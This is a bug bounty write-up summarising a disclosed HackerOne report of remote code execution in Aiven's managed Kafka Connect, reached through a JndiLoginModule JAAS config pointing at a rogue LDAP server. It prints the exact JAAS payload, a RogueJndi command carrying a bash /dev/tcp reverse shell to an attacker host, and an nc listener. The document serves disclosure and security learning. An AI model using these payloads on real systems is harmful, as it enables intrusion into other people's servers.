# Kafka Connect RCE via connector SASL  JAAS JndiLoginModule configuration

Attacker sets a Debezium connector SASL JAAS config to JndiLoginModule pointing at a rogue LDAP server, triggering JNDI deserialization and RCE on Kafka Connect.

- Payout: $5,000
- Severity: critical
- Program: Aiven Ltd
- Found by: jarij
- Disclosed: 2022-11-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1529790
- Library page: https://bugbountylibrary.com/r/h1%3A1529790
- Tags: area:cloud domain:cloud impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical tech:java tech:kubernetes technique:chained technique:source-review vuln:deserialization vuln:rce

**Target:** Aiven for Apache Kafka managed service / Kafka Connect REST API connector config
**Root cause:** Connector properties like database.history.producer.sasl.jaas.config are user-controllable and passed to Kafka client SASL setup; JndiLoginModule performs a JNDI lookup to an attacker-controlled LDAP URL and deserializes the response without trust restrictions.
**Steps:**
1. Set connector property `database.history.producer.sasl.jaas.config` to `com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";` via Aiven API or Kafka Connect REST API on `io.debezium.connector.mysql.MySqlConnector`
2. Start RogueJndi LDAP server: `java -jar RogueJndi-1.1.jar --hostname <attacker> -c "bash -c bash${IFS}-i${IFS}>&/dev/tcp/<attacker>/4445<&1"`
3. Listen with `nc -nlvp 4445`
4. Run `python3 poc.py` to push the connector config to the Aiven Kafka Connect instance
5. Kafka Connect connects to the LDAP server, deserializes the malicious response, and spawns a reverse shell
**How found:** Recognized that connector SASL JAAS config strings are user-supplied and that JndiLoginModule performs JNDI lookups; then hunted for a gadget chain compatible with the target's Scala 2.13.6 runtime, spending significant effort building a System.setProperty chain to unlock CommonsCollections7.
**Exploitation:** Attacker controls connector config via API, points JndiLoginModule at a rogue LDAP server serving a serialized gadget chain. The chain uses a Scala 2.13.6 System.setProperty gadget to enable unsafe deserialization of Apache Commons Collections transformers, then executes CommonsCollections7 to run a reverse shell command on the Kafka Connect host.
**Escalation:** RCE on Kafka Connect server enables access to other resources on the internal network.
**Insight:** Managed Kafka Connect / Debezium connectors expose many producer/consumer SASL and JAAS properties to tenants; any property ending in `.sasl.jaas.config` can instantiate login modules like JndiLoginModule, so test connector configs for JNDI-capable login modules rather than only the main connector class.

## Proof of concept (copied exactly from the original report)

**Malicious JndiLoginModule JAAS config payload**

```
`"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"`
```

**RogueJndi reverse shell launch command**

```
java -jar RogueJndi-1.1.jar --hostname ███ -c "bash -c bash\${IFS}-i\${IFS}>&/dev/tcp/███/4445<&1"
```

